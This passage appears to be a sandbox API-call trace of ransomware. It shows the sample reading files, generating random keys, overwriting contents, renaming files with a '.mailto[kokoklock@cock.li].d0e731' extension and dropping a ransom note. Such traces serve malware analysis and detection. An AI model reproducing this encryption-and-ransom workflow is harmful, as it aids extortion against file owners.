(HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423920 [0068.903] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423920) returned 1 [0068.904] WriteFile (in: hFile=0x6d0, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xca2f9a4, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xca2f9a4*=0x20, lpOverlapped=0x0) returned 1 [0068.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.904] WriteFile (in: hFile=0x6d0, lpBuffer=0x3423f10*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xca2f9d0, lpOverlapped=0x0 | out: lpBuffer=0x3423f10*, lpNumberOfBytesWritten=0xca2f9d0*=0x8, lpOverlapped=0x0) returned 1 [0068.904] WriteFile (in: hFile=0x6d0, lpBuffer=0xca2f9e8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xca2f9d0, lpOverlapped=0x0 | out: lpBuffer=0xca2f9e8*, lpNumberOfBytesWritten=0xca2f9d0*=0x4, lpOverlapped=0x0) returned 1 [0068.904] WriteFile (in: hFile=0x6d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xca2f9d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xca2f9d0*=0x4, lpOverlapped=0x0) returned 1 [0068.904] WriteFile (in: hFile=0x6d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xca2f9d0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xca2f9d0*=0x6c, lpOverlapped=0x0) returned 1 [0068.904] WriteFile (in: hFile=0x6d0, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xca2f9d0, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xca2f9d0*=0x20, lpOverlapped=0x0) returned 1 [0068.904] WriteFile (in: hFile=0x6d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xca2f9d0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xca2f9d0*=0x4, lpOverlapped=0x0) returned 1 [0068.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423ee8) returned 1 [0068.904] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423f10) returned 1 [0068.904] CloseHandle (hObject=0x6d0) returned 1 [0071.116] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0071.116] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1025\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf" [0071.116] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.116] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.119] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.119] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.119] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1025\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0071.119] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt" [0071.119] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\d0e731-readme.txt")) returned 0x20 [0071.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33d2b68) returned 1 [0071.119] RtlExitUserThread (Status=0x1) Thread: id = 253 os_tid = 0x126c [0063.502] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0064.568] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0071.097] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0xcaafb20 | out: lpFileSize=0xcaafb20*=74214) returned 1 [0071.097] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x121e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.097] ReadFile (in: hFile=0x39c, lpBuffer=0xcaafaf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xcaafaf0, lpOverlapped=0x0 | out: lpBuffer=0xcaafaf4*, lpNumberOfBytesRead=0xcaafaf0*=0x4, lpOverlapped=0x0) returned 1 [0071.099] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cd0 [0071.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422dc0 [0071.099] NtQuerySystemTime (in: CurrentTime=0xcaafacc | out: CurrentTime=0xcaafacc*=132121176289941366) returned 0x0 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x8746497a [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xdf7ac556 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x5323dcd7 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x575cf59b [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x26695f3b [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x34dd7346 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x5cf32ae4 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x1926c005 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xae174710 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xedc72509 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x6eb2295d [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x3df8dd4e [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xd4c657e0 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x4837b90d [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xfc546c14 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xcf6bc85d [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xc745e0d7 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x87823d32 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xce1eabd1 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x834a375b [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x12010135 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xe9075e38 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xaa8eda33 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xcbe19b8 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xa3ee58e1 [0071.099] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xab6dc9ac [0071.100] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x9f78ecf6 [0071.100] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xdc0090f8 [0071.100] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x89d19aae [0071.100] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0xf6d8dbae [0071.100] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x92d42a3b [0071.100] RtlRandom (in: Seed=0xcaafad8 | out: Seed=0xcaafad8) returned 0x4a3221c1 [0071.111] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.111] ReadFile (in: hFile=0x39c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xcaafaa4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xcaafaa4*=0x4096, lpOverlapped=0x0) returned 1 [0071.111] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0071.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0071.111] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0071.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422c30 [0071.112] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0071.112] WriteFile (in: hFile=0x39c, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xcaafaa4, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xcaafaa4*=0x4096, lpOverlapped=0x0) returned 1 [0071.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.112] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x121e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.112] WriteFile (in: hFile=0x39c, lpBuffer=0x3422c30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xcaafadc, lpOverlapped=0x0 | out: lpBuffer=0x3422c30*, lpNumberOfBytesWritten=0xcaafadc*=0x20, lpOverlapped=0x0) returned 1 [0071.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422c30) returned 1 [0071.112] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.112] WriteFile (in: hFile=0x39c, lpBuffer=0x3422de8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xcaafaf0, lpOverlapped=0x0 | out: lpBuffer=0x3422de8*, lpNumberOfBytesWritten=0xcaafaf0*=0x8, lpOverlapped=0x0) returned 1 [0071.113] WriteFile (in: hFile=0x39c, lpBuffer=0xcaafb08*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcaafaf0, lpOverlapped=0x0 | out: lpBuffer=0xcaafb08*, lpNumberOfBytesWritten=0xcaafaf0*=0x4, lpOverlapped=0x0) returned 1 [0071.113] WriteFile (in: hFile=0x39c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcaafaf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xcaafaf0*=0x4, lpOverlapped=0x0) returned 1 [0071.113] WriteFile (in: hFile=0x39c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xcaafaf0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xcaafaf0*=0x6c, lpOverlapped=0x0) returned 1 [0071.113] WriteFile (in: hFile=0x39c, lpBuffer=0x3422cd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xcaafaf0, lpOverlapped=0x0 | out: lpBuffer=0x3422cd0*, lpNumberOfBytesWritten=0xcaafaf0*=0x20, lpOverlapped=0x0) returned 1 [0071.113] WriteFile (in: hFile=0x39c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcaafaf0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xcaafaf0*=0x4, lpOverlapped=0x0) returned 1 [0071.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0071.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.113] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422de8) returned 1 [0071.113] CloseHandle (hObject=0x39c) returned 1 [0071.113] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e69c0 [0071.113] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" [0071.113] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.113] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.114] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.114] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0071.114] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.114] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427410 [0071.114] wcscpy (in: _Dest=0x3427410, _Source="C:\\588bce7c90097ed212\\1025\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0071.114] wcscat (in: _Dest=0x3427410, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt" [0071.114] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\d0e731-readme.txt")) returned 0xffffffff [0071.114] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x798 [0071.116] WriteFile (in: hFile=0x798, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xcaafaec, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xcaafaec*=0x481, lpOverlapped=0x0) returned 1 [0071.117] CloseHandle (hObject=0x798) returned 1 [0071.118] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427410) returned 1 [0071.118] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0071.118] RtlExitUserThread (Status=0x1) Thread: id = 254 os_tid = 0x1270 [0063.503] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0066.398] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", dwFileAttributes=0x20) returned 1 [0066.759] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0066.759] GetFileSizeEx (in: hFile=0x6d4, lpFileSize=0xcb2f7dc | out: lpFileSize=0xcb2f7dc*=6309) returned 1 [0066.759] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x18a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.759] ReadFile (in: hFile=0x6d4, lpBuffer=0xcb2f7b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xcb2f7ac, lpOverlapped=0x0 | out: lpBuffer=0xcb2f7b0*, lpNumberOfBytesRead=0xcb2f7ac*=0x4, lpOverlapped=0x0) returned 1 [0066.761] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0066.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0066.761] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0066.761] NtQuerySystemTime (in: CurrentTime=0xcb2f788 | out: CurrentTime=0xcb2f788*=132121176246590464) returned 0x0 [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x92095b62 [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xc39e547e [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x1e717e1e [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x7306c977 [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xd935a787 [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x6c69fa54 [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xe49dd91a [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x1901cd7a [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xe290089a [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x1c0a610b [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x4cb1086f [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xc4864ecc [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x7e911ed4 [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x63325d60 [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x9325253e [0066.761] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x502349 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xf7175d3f [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xfc628164 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xa801942d [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x59ca6389 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x37ef9d69 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xbf7492e0 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x27256222 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xe19bf988 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xe83db85c [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xd8480358 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x757879ce [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xb1c115f3 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x9564a131 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xeab7b792 [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0x439dd88a [0066.762] RtlRandom (in: Seed=0xcb2f794 | out: Seed=0xcb2f794) returned 0xac70c458 [0066.773] ReadFile (in: hFile=0x6d4, lpBuffer=0x3475830, nNumberOfBytesToRead=0x18a5, lpNumberOfBytesRead=0xcb2f788, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xcb2f788*=0x18a5, lpOverlapped=0x0) returned 1 [0066.776] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xcb2f750 | out: lpNewFilePointer=0x0) returned 1 [0066.776] WriteFile (in: hFile=0x6d4, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x18a5, lpNumberOfBytesWritten=0xcb2f784, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xcb2f784*=0x18a5, lpOverlapped=0x0) returned 1 [0066.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4990 [0066.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347b868 [0066.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b868) returned 1 [0066.777] WriteFile (in: hFile=0x6d4, lpBuffer=0x33e4990*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xcb2f780, lpOverlapped=0x0 | out: lpBuffer=0x33e4990*, lpNumberOfBytesWritten=0xcb2f780*=0x20, lpOverlapped=0x0) returned 1 [0066.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0066.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0066.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0066.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479d30) returned 1 [0066.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0066.777] WriteFile (in: hFile=0x6d4, lpBuffer=0x33e4918*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xcb2f7ac, lpOverlapped=0x0 | out: lpBuffer=0x33e4918*, lpNumberOfBytesWritten=0xcb2f7ac*=0x8, lpOverlapped=0x0) returned 1 [0066.777] WriteFile (in: hFile=0x6d4, lpBuffer=0xcb2f7c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcb2f7ac, lpOverlapped=0x0 | out: lpBuffer=0xcb2f7c4*, lpNumberOfBytesWritten=0xcb2f7ac*=0x4, lpOverlapped=0x0) returned 1 [0066.777] WriteFile (in: hFile=0x6d4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcb2f7ac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xcb2f7ac*=0x4, lpOverlapped=0x0) returned 1 [0066.777] WriteFile (in: hFile=0x6d4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xcb2f7ac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xcb2f7ac*=0x6c, lpOverlapped=0x0) returned 1 [0066.777] WriteFile (in: hFile=0x6d4, lpBuffer=0x34be938*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xcb2f7ac, lpOverlapped=0x0 | out: lpBuffer=0x34be938*, lpNumberOfBytesWritten=0xcb2f7ac*=0x20, lpOverlapped=0x0) returned 1 [0066.777] WriteFile (in: hFile=0x6d4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xcb2f7ac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xcb2f7ac*=0x4, lpOverlapped=0x0) returned 1 [0066.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0066.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0066.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4918) returned 1 [0066.778] CloseHandle (hObject=0x6d4) returned 1 [0066.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x3424900 [0066.779] wcscpy (in: _Dest=0x3424900, _Source="C:\\588bce7c90097ed212\\1028\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf" [0066.779] wcscat (in: _Dest=0x3424900, _Source=".mailto[kokoklock@cock.li].d0e731" | out: 